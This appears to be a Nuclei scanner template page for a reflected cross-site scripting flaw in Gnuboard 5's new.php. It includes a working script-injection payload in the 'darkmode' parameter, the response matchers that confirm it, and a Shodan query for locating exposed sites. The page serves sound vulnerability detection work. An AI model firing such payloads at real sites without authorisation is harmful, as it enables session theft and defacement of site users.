Gnuboard 5 - Cross-Site Scripting

ID: gnuboard5-xss

Severity: medium

Author: arafatansari

Tags: xss,gnuboard,gnuboard5,huntr

Description

Gnuboard 5 contains a cross-site scripting vulnerability via the clean_xss_tags() function called in new.php.

YAML Source

id: gnuboard5-xss

info:
  name: Gnuboard 5 - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    Gnuboard 5 contains a cross-site scripting vulnerability via the clean_xss_tags() function called in new.php.
  reference:
    - https://huntr.dev/bounties/ad2a9b32-fe6c-43e9-9b05-2c77c58dde6a/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cwe-id: CWE-80
    cpe: cpe:2.3:a:gnuboard:gnuboard5:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.html:"gnuboard5"
    product: gnuboard5
    vendor: gnuboard
  tags: xss,gnuboard,gnuboard5,huntr

http:
  - method: GET
    path:
      - "{{BaseURL}}/bbs/new.php?darkmode=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'header\"><script>alert(document.domain)</script>.css?'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a0046304402203cfb7cefd49f02f375a0af537192ad3a111d44d91be0e7e394e99db93ae1c4f902204525fe3b825de061ec132747afe4573858c3e6b7ff11873fa2ce9e0a74234c27:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/gnuboard/gnuboard5-xss.yaml"

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